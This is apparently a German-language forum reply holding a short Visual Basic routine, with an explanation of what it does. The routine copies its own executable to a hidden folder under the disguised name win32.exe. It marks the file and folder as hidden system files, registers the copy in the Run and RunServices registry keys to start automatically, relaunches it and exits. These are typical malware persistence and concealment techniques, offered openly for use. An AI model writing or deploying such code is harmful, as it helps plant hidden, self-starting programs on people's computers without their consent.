If LCase(App.Path) <> "c:\config" Then
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\config\win32.exe"
SetAttr "C:\config\win32.exe", vbSystem + vbHidden
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNSERVICES\win32", "C:\config\win32.exe"
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\win32", "C:\config\win32.exe"
SetAttr "C:\config", vbSystem + vbHidden
Shell "C:\config\win32.exe", vbSystem + vbHidden
End
End If
hier is nich ganz was du suchst aber es kopiert die datei als win32.exe nach C:/config schreibt sie in registry fü rdne autostart gibt dem ordner sowie der datei die attribute systemdatei und versteckt und fürt die neu kopierte datei dann wieder aus beendet sich sselber.
Registrieren
Login
